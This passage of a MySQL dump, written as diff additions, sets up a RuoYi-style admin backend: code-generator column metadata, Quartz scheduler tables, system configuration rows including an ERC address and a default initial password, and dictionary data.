'limit_max', '最大金额', 'decimal(20,4)', 'BigDecimal', 'limitMax', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 11, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:57:34'); +INSERT INTO `gen_table_column` VALUES (568, '38', 'sort', '排序', 'int', 'Long', 'sort', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 12, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:57:34'); +INSERT INTO `gen_table_column` VALUES (569, '38', 'create_by', '创建人', 'varchar(255)', 'String', 'createBy', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 13, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:57:34'); +INSERT INTO `gen_table_column` VALUES (570, '38', 'create_time', '创建时间', 'datetime', 'Date', 'createTime', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 14, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:57:34'); +INSERT INTO `gen_table_column` VALUES (571, '38', 'update_by', '更新人员', 'varchar(255)', 'String', 'updateBy', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'input', '', 15, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:57:34'); +INSERT INTO `gen_table_column` VALUES (572, '38', 'update_time', '更新时间', 'datetime', 'Date', 'updateTime', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'datetime', '', 16, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:57:34'); +INSERT INTO `gen_table_column` VALUES (573, '38', 'buy_purchase', ' 购买次数', 'int', 'Long', 'buyPurchase', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 17, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:57:34'); +INSERT INTO `gen_table_column` VALUES (574, '38', 'coin', '币种 ', 'varchar(20)', 'String', 'coin', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 18, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:57:34'); +INSERT INTO `gen_table_column` VALUES (575, '38', 'remark', '标签', 'varchar(1000)', 'String', 'remark', '0', '0', NULL, '1', '1', '1', NULL, 'EQ', 'textarea', '', 19, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:57:34'); + +-- ---------------------------- +-- Table structure for qrtz_blob_triggers +-- ---------------------------- +DROP TABLE IF EXISTS `qrtz_blob_triggers`; +CREATE TABLE `qrtz_blob_triggers` ( + `sched_name` varchar(120) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '调度名称', + `trigger_name` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT 'qrtz_triggers表trigger_name的外键', + `trigger_group` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT 'qrtz_triggers表trigger_group的外键', + `blob_data` blob NULL COMMENT '存放持久化Trigger对象', + PRIMARY KEY (`sched_name`, `trigger_name`, `trigger_group`) USING BTREE, + CONSTRAINT `qrtz_blob_triggers_ibfk_1` FOREIGN KEY (`sched_name`, `trigger_name`, `trigger_group`) REFERENCES `qrtz_triggers` (`sched_name`, `trigger_name`, `trigger_group`) ON DELETE RESTRICT ON UPDATE RESTRICT +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = 'Blob类型的触发器表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for qrtz_calendars +-- ---------------------------- +DROP TABLE IF EXISTS `qrtz_calendars`; +CREATE TABLE `qrtz_calendars` ( + `sched_name` varchar(120) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '调度名称', + `calendar_name` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '日历名称', + `calendar` blob NOT NULL COMMENT '存放持久化calendar对象', + PRIMARY KEY (`sched_name`, `calendar_name`) USING BTREE +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '日历信息表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for qrtz_cron_triggers +-- ---------------------------- +DROP TABLE IF EXISTS `qrtz_cron_triggers`; +CREATE TABLE `qrtz_cron_triggers` ( + `sched_name` varchar(120) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '调度名称', + `trigger_name` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT 'qrtz_triggers表trigger_name的外键', + `trigger_group` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT 'qrtz_triggers表trigger_group的外键', + `cron_expression` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT 'cron表达式', + `time_zone_id` varchar(80) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '时区', + PRIMARY KEY (`sched_name`, `trigger_name`, `trigger_group`) USING BTREE, + CONSTRAINT `qrtz_cron_triggers_ibfk_1` FOREIGN KEY (`sched_name`, `trigger_name`, `trigger_group`) REFERENCES `qrtz_triggers` (`sched_name`, `trigger_name`, `trigger_group`) ON DELETE RESTRICT ON UPDATE RESTRICT +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = 'Cron类型的触发器表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for qrtz_fired_triggers +-- ---------------------------- +DROP TABLE IF EXISTS `qrtz_fired_triggers`; +CREATE TABLE `qrtz_fired_triggers` ( + `sched_name` varchar(120) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '调度名称', + `entry_id` varchar(95) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '调度器实例id', + `trigger_name` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT 'qrtz_triggers表trigger_name的外键', + `trigger_group` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT 'qrtz_triggers表trigger_group的外键', + `instance_name` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '调度器实例名', + `fired_time` bigint(0) NOT NULL COMMENT '触发的时间', + `sched_time` bigint(0) NOT NULL COMMENT '定时器制定的时间', + `priority` int(0) NOT NULL COMMENT '优先级', + `state` varchar(16) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '状态', + `job_name` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '任务名称', + `job_group` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '任务组名', + `is_nonconcurrent` varchar(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '是否并发', + `requests_recovery` varchar(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '是否接受恢复执行', + PRIMARY KEY (`sched_name`, `entry_id`) USING BTREE +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '已触发的触发器表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for qrtz_job_details +-- ---------------------------- +DROP TABLE IF EXISTS `qrtz_job_details`; +CREATE TABLE `qrtz_job_details` ( + `sched_name` varchar(120) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '调度名称', + `job_name` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '任务名称', + `job_group` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '任务组名', + `description` varchar(250) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '相关介绍', + `job_class_name` varchar(250) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '执行任务类名称', + `is_durable` varchar(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '是否持久化', + `is_nonconcurrent` varchar(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '是否并发', + `is_update_data` varchar(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '是否更新数据', + `requests_recovery` varchar(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '是否接受恢复执行', + `job_data` blob NULL COMMENT '存放持久化job对象', + PRIMARY KEY (`sched_name`, `job_name`, `job_group`) USING BTREE +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '任务详细信息表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for qrtz_locks +-- ---------------------------- +DROP TABLE IF EXISTS `qrtz_locks`; +CREATE TABLE `qrtz_locks` ( + `sched_name` varchar(120) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '调度名称', + `lock_name` varchar(40) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '悲观锁名称', + PRIMARY KEY (`sched_name`, `lock_name`) USING BTREE +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '存储的悲观锁信息表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for qrtz_paused_trigger_grps +-- ---------------------------- +DROP TABLE IF EXISTS `qrtz_paused_trigger_grps`; +CREATE TABLE `qrtz_paused_trigger_grps` ( + `sched_name` varchar(120) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '调度名称', + `trigger_group` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT 'qrtz_triggers表trigger_group的外键', + PRIMARY KEY (`sched_name`, `trigger_group`) USING BTREE +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '暂停的触发器表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for qrtz_scheduler_state +-- ---------------------------- +DROP TABLE IF EXISTS `qrtz_scheduler_state`; +CREATE TABLE `qrtz_scheduler_state` ( + `sched_name` varchar(120) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '调度名称', + `instance_name` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '实例名称', + `last_checkin_time` bigint(0) NOT NULL COMMENT '上次检查时间', + `checkin_interval` bigint(0) NOT NULL COMMENT '检查间隔时间', + PRIMARY KEY (`sched_name`, `instance_name`) USING BTREE +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '调度器状态表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for qrtz_simple_triggers +-- ---------------------------- +DROP TABLE IF EXISTS `qrtz_simple_triggers`; +CREATE TABLE `qrtz_simple_triggers` ( + `sched_name` varchar(120) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '调度名称', + `trigger_name` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT 'qrtz_triggers表trigger_name的外键', + `trigger_group` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT 'qrtz_triggers表trigger_group的外键', + `repeat_count` bigint(0) NOT NULL COMMENT '重复的次数统计', + `repeat_interval` bigint(0) NOT NULL COMMENT '重复的间隔时间', + `times_triggered` bigint(0) NOT NULL COMMENT '已经触发的次数', + PRIMARY KEY (`sched_name`, `trigger_name`, `trigger_group`) USING BTREE, + CONSTRAINT `qrtz_simple_triggers_ibfk_1` FOREIGN KEY (`sched_name`, `trigger_name`, `trigger_group`) REFERENCES `qrtz_triggers` (`sched_name`, `trigger_name`, `trigger_group`) ON DELETE RESTRICT ON UPDATE RESTRICT +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '简单触发器的信息表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for qrtz_simprop_triggers +-- ---------------------------- +DROP TABLE IF EXISTS `qrtz_simprop_triggers`; +CREATE TABLE `qrtz_simprop_triggers` ( + `sched_name` varchar(120) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '调度名称', + `trigger_name` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT 'qrtz_triggers表trigger_name的外键', + `trigger_group` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT 'qrtz_triggers表trigger_group的外键', + `str_prop_1` varchar(512) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT 'String类型的trigger的第一个参数', + `str_prop_2` varchar(512) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT 'String类型的trigger的第二个参数', + `str_prop_3` varchar(512) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT 'String类型的trigger的第三个参数', + `int_prop_1` int(0) NULL DEFAULT NULL COMMENT 'int类型的trigger的第一个参数', + `int_prop_2` int(0) NULL DEFAULT NULL COMMENT 'int类型的trigger的第二个参数', + `long_prop_1` bigint(0) NULL DEFAULT NULL COMMENT 'long类型的trigger的第一个参数', + `long_prop_2` bigint(0) NULL DEFAULT NULL COMMENT 'long类型的trigger的第二个参数', + `dec_prop_1` decimal(13, 4) NULL DEFAULT NULL COMMENT 'decimal类型的trigger的第一个参数', + `dec_prop_2` decimal(13, 4) NULL DEFAULT NULL COMMENT 'decimal类型的trigger的第二个参数', + `bool_prop_1` varchar(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT 'Boolean类型的trigger的第一个参数', + `bool_prop_2` varchar(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT 'Boolean类型的trigger的第二个参数', + PRIMARY KEY (`sched_name`, `trigger_name`, `trigger_group`) USING BTREE, + CONSTRAINT `qrtz_simprop_triggers_ibfk_1` FOREIGN KEY (`sched_name`, `trigger_name`, `trigger_group`) REFERENCES `qrtz_triggers` (`sched_name`, `trigger_name`, `trigger_group`) ON DELETE RESTRICT ON UPDATE RESTRICT +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '同步机制的行锁表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for qrtz_triggers +-- ---------------------------- +DROP TABLE IF EXISTS `qrtz_triggers`; +CREATE TABLE `qrtz_triggers` ( + `sched_name` varchar(120) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '调度名称', + `trigger_name` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '触发器的名字', + `trigger_group` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '触发器所属组的名字', + `job_name` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT 'qrtz_job_details表job_name的外键', + `job_group` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT 'qrtz_job_details表job_group的外键', + `description` varchar(250) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '相关介绍', + `next_fire_time` bigint(0) NULL DEFAULT NULL COMMENT '上一次触发时间(毫秒)', + `prev_fire_time` bigint(0) NULL DEFAULT NULL COMMENT '下一次触发时间(默认为-1表示不触发)', + `priority` int(0) NULL DEFAULT NULL COMMENT '优先级', + `trigger_state` varchar(16) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '触发器状态', + `trigger_type` varchar(8) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '触发器的类型', + `start_time` bigint(0) NOT NULL COMMENT '开始时间', + `end_time` bigint(0) NULL DEFAULT NULL COMMENT '结束时间', + `calendar_name` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '日程表名称', + `misfire_instr` smallint(0) NULL DEFAULT NULL COMMENT '补偿执行的策略', + `job_data` blob NULL COMMENT '存放持久化job对象', + PRIMARY KEY (`sched_name`, `trigger_name`, `trigger_group`) USING BTREE, + INDEX `sched_name`(`sched_name`, `job_name`, `job_group`) USING BTREE, + CONSTRAINT `qrtz_triggers_ibfk_1` FOREIGN KEY (`sched_name`, `job_name`, `job_group`) REFERENCES `qrtz_job_details` (`sched_name`, `job_name`, `job_group`) ON DELETE RESTRICT ON UPDATE RESTRICT +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '触发器详细信息表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for sys_config +-- ---------------------------- +DROP TABLE IF EXISTS `sys_config`; +CREATE TABLE `sys_config` ( + `config_id` int(0) NOT NULL AUTO_INCREMENT COMMENT '参数主键', + `config_name` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '参数名称', + `config_key` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '参数键名', + `config_value` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '参数键值', + `config_type` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT 'N' COMMENT '系统内置(Y是 N否)', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '创建者', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '更新者', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '备注', + PRIMARY KEY (`config_id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 103 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '参数配置表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of sys_config +-- ---------------------------- +INSERT INTO `sys_config` VALUES (1, '主框架页-默认皮肤样式名称', 'sys.index.skinName', 'skin-blue', 'Y', 'admin', '2023-06-24 15:31:37', '', NULL, '蓝色 skin-blue、绿色 skin-green、紫色 skin-purple、红色 skin-red、黄色 skin-yellow'); +INSERT INTO `sys_config` VALUES (2, '用户管理-账号初始密码', 'sys.user.initPassword', '123456', 'Y', 'admin', '2023-06-24 15:31:37', '', NULL, '初始化密码 123456'); +INSERT INTO `sys_config` VALUES (3, '主框架页-侧边栏主题', 'sys.index.sideTheme', 'theme-dark', 'Y', 'admin', '2023-06-24 15:31:37', '', NULL, '深色主题theme-dark,浅色主题theme-light'); +INSERT INTO `sys_config` VALUES (4, '账号自助-验证码开关', 'sys.account.captchaEnabled', 'true', 'Y', 'admin', '2023-06-24 15:31:37', '', NULL, '是否开启验证码功能(true开启,false关闭)'); +INSERT INTO `sys_config` VALUES (5, '账号自助-是否开启用户注册功能', 'sys.account.registerUser', 'false', 'Y', 'admin', '2023-06-24 15:31:37', '', NULL, '是否开启注册用户功能(true开启,false关闭)'); +INSERT INTO `sys_config` VALUES (6, '用户登录-黑名单列表', 'sys.login.blackIPList', '', 'Y', 'admin', '2023-06-24 15:31:37', '', NULL, '设置登录IP黑名单限制,多个匹配项以;分隔,支持匹配(*通配、网段)'); +INSERT INTO `sys_config` VALUES (100, 'APP实名认证(初级)', 'app.verified.primary', 'true', 'Y', 'admin', '2023-07-07 10:41:59', 'admin', '2023-07-07 10:42:24', 'true 开启 false 关闭'); +INSERT INTO `sys_config` VALUES (101, 'APP实名认证(高级)', 'app.verified.advanced', 'true', 'Y', 'admin', '2023-07-07 10:41:59', 'admin', '2023-07-07 10:43:58', 'true 开启 false 关闭'); +INSERT INTO `sys_config` VALUES (102, 'ERC', 'ERC', '0x226d79714547d9cdef9540ffdc0191e5d9ba6307', 'Y', 'admin', '2023-08-19 19:44:53', 'admin', '2023-08-25 00:31:19', NULL); + +-- ---------------------------- +-- Table structure for sys_dept +-- ---------------------------- +DROP TABLE IF EXISTS `sys_dept`; +CREATE TABLE `sys_dept` ( + `dept_id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '部门id', + `parent_id` bigint(0) NULL DEFAULT 0 COMMENT '父部门id', + `ancestors` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '祖级列表', + `dept_name` varchar(30) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '部门名称', + `order_num` int(0) NULL DEFAULT 0 COMMENT '显示顺序', + `leader` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '负责人', + `phone` varchar(11) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '联系电话', + `email` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '邮箱', + `status` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '0' COMMENT '部门状态(0正常 1停用)', + `del_flag` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '0' COMMENT '删除标志(0代表存在 2代表删除)', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '创建者', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '更新者', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + PRIMARY KEY (`dept_id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 200 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '部门表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of sys_dept +-- ---------------------------- +INSERT INTO `sys_dept` VALUES (100, 0, '0', '若依科技', 0, '若依', '15888888888', 'ry@qq.com', '0', '0', 'admin', '2023-06-24 15:31:37', '', NULL); + +-- ---------------------------- +-- Table structure for sys_dict_data +-- ---------------------------- +DROP TABLE IF EXISTS `sys_dict_data`; +CREATE TABLE `sys_dict_data` ( + `dict_code` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '字典编码', + `dict_sort` int(0) NULL DEFAULT 0 COMMENT '字典排序', + `dict_label` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '字典标签', + `dict_value` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '字典键值', + `dict_type` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '字典类型', + `css_class` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '样式属性(其他样式扩展)', + `list_class` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '表格回显样式', + `is_default` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT 'N' COMMENT '是否默认(Y是 N否)', + `img_url` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '图片', + `status` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '0' COMMENT '状态(0正常 1停用)', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '创建者', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '更新者', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '备注', + PRIMARY KEY (`dict_code`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1185 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '字典数据表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of sys_dict_data +-- ---------------------------- +INSERT INTO `sys_dict_data` VALUES (1, 1, '男', '0', 'sys_user_sex', '', '', 'Y', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '性别男'); +INSERT INTO `sys_dict_data` VALUES (2, 2, '女', '1', 'sys_user_sex', '', '', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '性别女'); +INSERT INTO `sys_dict_data` VALUES (3, 3, '未知', '2', 'sys_user_sex', '', '', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '性别未知'); +INSERT INTO `sys_dict_data` VALUES (4, 1, '显示', '0', 'sys_show_hide', '', 'primary', 'Y', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '显示菜单'); +INSERT INTO `sys_dict_data` VALUES (5, 2, '隐藏', '1', 'sys_show_hide', '', 'danger', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '隐藏菜单'); +INSERT INTO `sys_dict_data` VALUES (6, 1, '正常', '0', 'sys_normal_disable', '', 'primary', 'Y', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '正常状态'); +INSERT INTO `sys_dict_data` VALUES (7, 2, '停用', '1', 'sys_normal_disable', '', 'danger', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '停用状态'); +INSERT INTO `sys_dict_data` VALUES (8, 1, '正常', '0', 'sys_job_status', '', 'primary', 'Y', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '正常状态'); +INSERT INTO `sys_dict_data` VALUES (9, 2, '暂停', '1', 'sys_job_status', '', 'danger', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '停用状态'); +INSERT INTO `sys_dict_data` VALUES (10, 1, '默认', 'DEFAULT', 'sys_job_group', '', '', 'Y', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '默认分组'); +INSERT INTO `sys_dict_data` VALUES (11, 2, '系统', 'SYSTEM', 'sys_job_group', '', '', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '系统分组'); +INSERT INTO `sys_dict_data` VALUES (12, 1, '是', 'Y', 'sys_yes_no', '', 'primary', 'Y', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '系统默认是'); +INSERT INTO `sys_dict_data` VALUES (13, 2, '否', 'N', 'sys_yes_no', '', 'danger', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '系统默认否'); +INSERT INTO `sys_dict_data` VALUES (14, 1, '通知', '1', 'sys_notice_type', '', 'warning', 'Y', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '通知'); +INSERT INTO `sys_dict_data` VALUES (15, 2, '公告', '2', 'sys_notice_type', '', 'success', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '公告'); +INSERT INTO `sys_dict_data` VALUES (16, 1, '正常', '0', 'sys_notice_status', '', 'primary', 'Y', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '正常状态'); +INSERT INTO `sys_dict_data` VALUES (17, 2, '关闭', '1', 'sys_notice_status', '', 'danger', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '关闭状态'); +INSERT INTO `sys_dict_data` VALUES (18, 99, '其他', '0', 'sys_oper_type', '', 'info', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '其他操作'); +INSERT INTO `sys_dict_data` VALUES (19, 1, '新增', '1', 'sys_oper_type', '', 'info', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '新增操作'); +INSERT INTO `sys_dict_data` VALUES (20, 2, '修改', '2', 'sys_oper_type', '', 'info', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '修改操作'); +INSERT INTO `sys_dict_data` VALUES (21, 3, '删除', '3', 